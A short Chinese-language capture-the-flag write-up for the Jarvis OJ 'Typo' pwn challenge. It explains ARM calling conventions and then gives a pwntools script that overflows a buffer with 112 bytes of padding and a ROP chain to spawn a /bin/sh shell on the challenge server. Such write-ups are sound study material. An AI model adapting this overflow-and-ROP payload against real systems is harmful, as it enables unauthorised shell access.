[Jarvis OJ - PWN]——Typo
- 题目地址: https://www.jarvisoj.com/challenges
- 题目:
还是先check一下, 是arm架构。还是第一次遇到。
peak小知识
和x86架构不同, arm架构arm 下的函数调用规定, 函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0 中。除此之外,arm 的 b/bl 等指令实现跳转; pc 寄存器相当于 x86 的 eip,保存下一条指令的地址
在IDA中, 可能没办法F5, 自己调试一下就好。
exploit
from pwn import *
binsh_addr = 0x0006C384
p = remote("pwn2.jarvisoj.com", 9888, timeout = 2)
p.sendafter("quit\n", "\n")
p.recvline()
payload = 'a' * 112 + p32(0x20904) + p32(binsh_addr) * 2 + p32(0x110B4)
p.sendlineafter("\n", payload)
p.interactive()